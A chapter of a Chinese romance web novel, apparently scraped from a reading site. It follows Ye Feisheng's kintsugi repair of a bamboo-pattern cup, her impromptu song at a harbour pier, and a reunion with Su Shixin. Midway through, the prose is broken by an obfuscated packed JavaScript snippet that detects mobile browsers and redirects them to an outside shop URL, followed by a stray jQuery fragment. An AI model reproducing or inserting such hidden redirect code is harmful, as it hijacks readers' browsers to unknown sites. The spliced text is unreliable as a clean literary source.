叶蜚声放下手机,看着眼前凌乱的实验台,一股巨大的无力感从深处朝她席卷而来,连骨头缝里都透着浓重的疲惫。
这一个多月以来,她把所有的事情都放下了,除了上课吃饭,剩下的所有时间都用来修补这只摔碎的竹纹杯。
眼睛有些肿胀,她抬手揉了揉,眼睛因为困倦分泌出了些许泪液。
关于陶瓷修补,她并没有太多的经验,只在大学时上过一学期的文物修复选修课,其中有个章节内容讲述的便是使用“金缮”工艺修补碎瓷器。
多年前的书本知识早已忘光,她只能回炉重造,从图书馆里借来了资料,又在网上看了许多专业的修复视频,才得以学习个大概。金缮工艺并不复杂,只需运用大漆这个天然粘合剂,让碎片粘合就好。
但修复的过程中包含多个程序,有清理、拼接、补漆等内容,每道程序都需要修复师极大的耐心和细心。
叶蜚声担心手艺不过关,在修复那只竹纹杯之前,先用其他碎片试验了几回。从一开始的磕磕绊绊,到后来的流畅自如,等她修补好六只碎裂的碗碟后,才敢正式对那只竹纹杯下手。
两道裂口,将一只完整的杯子分成三份。
摔碎时容易,修复完好的过程却是如此艰难。
她用了近三十天的时间,才将它们重新拼凑到一起。
叶蜚声将添加了金漆的完好杯子拿到近前,然后两条胳膊重叠放在桌上,脑袋趴了下去,像是小学生午睡时的姿势。
大脑累得无法转动,她只能看到视野里的那抹幽凉青绿,以及偶尔在灯光变换时会闪烁出太阳吻过的金色光芒。
修复与原创不同,还原器物本来的美丽是一项如此考验人心的任务。
不能贪多,不能求少,不能词不达意,不能言过其实……只有当一切都刚刚好,这份美丽才会被捕捉到。
叶蜚声将修好的竹纹杯还给唐叔,但唐叔并不接受。
“这是你修补好的杯子,每一道复原的裂缝都是你的心血,你自己好好收着吧。”
叶蜚声无法,只好将杯子放到了客厅的博古架上,充当观赏的摆件。
已经很久都没有去过花店,叶蜚声背着包刚出门,就看到了隔壁的“洋娃娃”站在院子外的白色栅栏门前。
自从宿时信离开,苏珊几乎每隔一天都会来家门口,看看宿时信是否已经归来。
她怀着满腔期待,但很可惜,每一次都失望而返。
叶蜚声没有和苏珊主动说过话,因为在她每次走近对方,还未开口前,苏珊便匆匆而逃。
她以为这一次,对方在看到自己的那一刹,很快就会跑走。
但出乎意料,这一次,直到两人面对面,苏珊都还站在原地。
叶蜚声推开栅栏门,苏珊往后退了一步,两只手在身前绞动,眼神惶惑,看着叶蜚声,呆愣在原地。
叶蜚声想要开口,但又怕吓到她,便无奈的笑了笑,迈步离开。
可下一秒,就听到苏珊的声音,“他什么时候回来?”
叶蜚声回头,小女孩脸上的表情明显是害怕,但她仍旧强撑着站在原地,再次问了一句,“他什么时候回来?”
叶蜚声笑了笑,用中文说:“你能听懂我在说什么吗?”
苏珊瞪大眼睛,看着她,很久。
叶蜚声以为她听不懂。
于是,便微笑着说:“我讨厌他,特别讨厌他。”
“在我和你差不多大的时候,就开始讨厌了。”
花店的生意一如既往的低迷寡淡,叶蜚声一下午就接待了两位客人,坚持许久,最后实在支撑不住,趴在桌子上闭眼休息。
薛世仪看着她眼下的淡淡青黑,眉头拧紧,“这些天,你是去做贼了?”
叶蜚声没有睁眼,神经太紧张了,一下子松懈,疲惫感几天几夜都无法消散。
“有点累。”她呢喃道。
薛世仪看不下去,让她去椅子里躺着。
疲惫感带来的压力,让叶蜚声的梦也变得纷繁复杂,她潜意识里知道自己在做梦,但因为太累了,所以无法立刻醒来。所以只好站在第三视角,半清醒的经历那些梦境。
等到醒来,梦里的场景已经遗忘,她只记得那种熟悉又不安的情绪。
她还想在花店多待会,但薛世仪说什么都不让,“赶紧回去睡觉,这么大个人了,连独立照顾自己的能力都没有。”
知道对方是好意,叶蜚声也就不再坚持。
从花店出来,一路往外走,叶蜚声还有些恍惚,视野重影,无法看清。
等到听见一阵悠扬歌声,她才发觉自己走到了十七号码头。
今天来演出的是一支小众乐队,叶蜚声并不认识,但不妨碍码头上的客人因为歌声引燃情绪。
叶蜚声在露天酒吧前找了张椅子坐下。
乐队演出完毕,立刻引来了一阵掌声和欢呼。等到演奏第二首歌曲时,乐队主唱忽然邀请围观的客人一起参与进来。
每个上台的客人都毫不怯场,虽然没有听过乐队的歌,但他们会演唱自己喜欢的歌曲,乐手们也并不介意,变换着吉他和键盘的节奏,倾尽全力的配合着他们。
到后来,这场演出竟成了客人们的solo游戏。
叶蜚声点了一杯冰啤酒,听着他们的歌声,神经放松,大脑里的疲惫感也跟着消失。
等她喝完啤酒,准备起身离开时,就看见乐队的主唱笑着朝她走来。
叶蜚声被莫名的推到了舞台中央,手里被塞进了麦克风,周围的异国面孔散发出来的都是善意笑容,他们热情鼓掌,等待叶蜚声的表演。
无法逃避,也不想逃避。
叶蜚声想,她的确需要发泄一下。
宿时信来到南街海港纯属偶然,但走近十七号码头的确源于听到的歌声。
那歌声纯粹,听在耳里,清寂又怀旧。
那是一首熟悉的老歌,《thesoundofsilence》。
宿时信小时候经常听的一首歌,也是他的母亲方若雪最喜欢的一首歌。在父母去世后,宿时信总是会在无人时,循环播放,直到升入高中,这首歌曲的播放频率降低。
现在听见,他才恍然,已经很久,没有再听到。
当他看到穿着一身白色连衣裙的叶蜚声,心里忽然有一种奇怪的情绪反应。
太阳已经落下去了,但天际还有一道微弱的橙红光芒。
叶蜚声就站在那里,低吟浅唱。一身白裙,仿若天地间仅剩的颜色。
是因为熟悉吗?
所以才能在人群中一眼看到对方,可明明,他们之间的交集并不多。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341845|152159||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回想从前,她是和宿之苦关系交好的朋友,是不熟悉的世交妹妹,是从来没有注意到的,毫无存在感的影子。
然而现在,却是如此的清晰。
宿时信看到了对方苍白的脸庞,还有随晚风吹来而飘散的漆黑长发。
叶蜚声是在唱到一半看见宿时信的,她眨了眨眼,一瞬间以为自己正在做梦。
但目光朝旁边移去,又能看到切实的异国面孔,和庞大湛蓝的海域。
一只海鸥从海面掠过。
为什么总是出现的如此突然?
她低下头,不禁失笑。但又很快,被一些细小的愤怒淹没。
歌曲的后半段,叶蜚声始终没有抬头,她看着青灰色的地面,唱着这首记了多年的老歌。
一曲结束,叶蜚声在欢呼声和掌声中退场。
等抬起头看向前方,原地早已没有宿时信的身影。
她平静的走出十七号码头,有汽船鸣笛的声音从远处传来,她下意识回头。
下一秒,一朵粉色的百合出现在眼前。
宿时信穿着白衫黑裤,和从前别无二致,仍旧是清淡的,没有情绪的面容。
“祝贺你演出成功。”
演出成功。
叶蜚声听到这四个字有些想笑,但她没有真的笑出来。
因为她想起了一段往事。
高二的时候,学校一百周年纪念日又恰逢元旦节,学校要求每个班都要出人表演节目。原本这种文艺活动,叶蜚声是一概不参与的,但因为班上的同学接连推诿,个个都不愿意参加,让班主任极其生气,索性没有商量,直接点名。
叶蜚声就这样被选入了表演的队伍,一共五个人,个个都拿不出才艺,只好选择最简单的诗朗诵。
虽然没有兴趣,但既然已经确定了要表演,叶蜚声还是想要认真对待。
她练习了两周,最后表演出来的效果无功无过,不过,也算是完成了班主任下发的任务。
表演结束后,叶蜚声回到后台换衣间,刚把演出的裙子脱下,就意外在众多嘈杂声里听见一道熟悉的声音。
“曲棠,祝你演出成功。”
她以为自己听错,宿时信明明在国外,怎么会忽然出现在这里。叶蜚声有些不敢置信,想要确认,便将换衣间的帘子轻轻挑开一道缝隙,然后她就在这道缝隙里,看到一张英俊又矜冷的侧脸。
他穿着黑色的羊绒大衣,身形高峻,宛若山中松柏,□□孤高。
旁边有很多人在看着他们,叶曲棠身着水袖长裙,她等下要表演一支古典独舞。
接过那束捧花,叶曲棠笑容清甜:“谢谢时信哥。”
他们简单聊了两句,宿时信便离开。
叶曲棠边画妆边和旁边的女生聊她的竹马哥哥,等听见主持人念到她的名字,才在一众夸赞艳羡声里登台。
晚会结束后,叶蜚声顺着人流,和宿之苦在学校东门口相遇。
宿之苦说:“我哥和曲淮哥都从国外回来了,我看见他们三个出去吃饭了。”
叶蜚声没有提及在后台看到了宿时信,只轻声说了句:“是吗?”看起来浑不在意。
一群白鸽在落日余晖里展翅飞过,叶蜚声的高中时代早已远去。
她接过那枝粉色百合,淡声说:“谢谢。”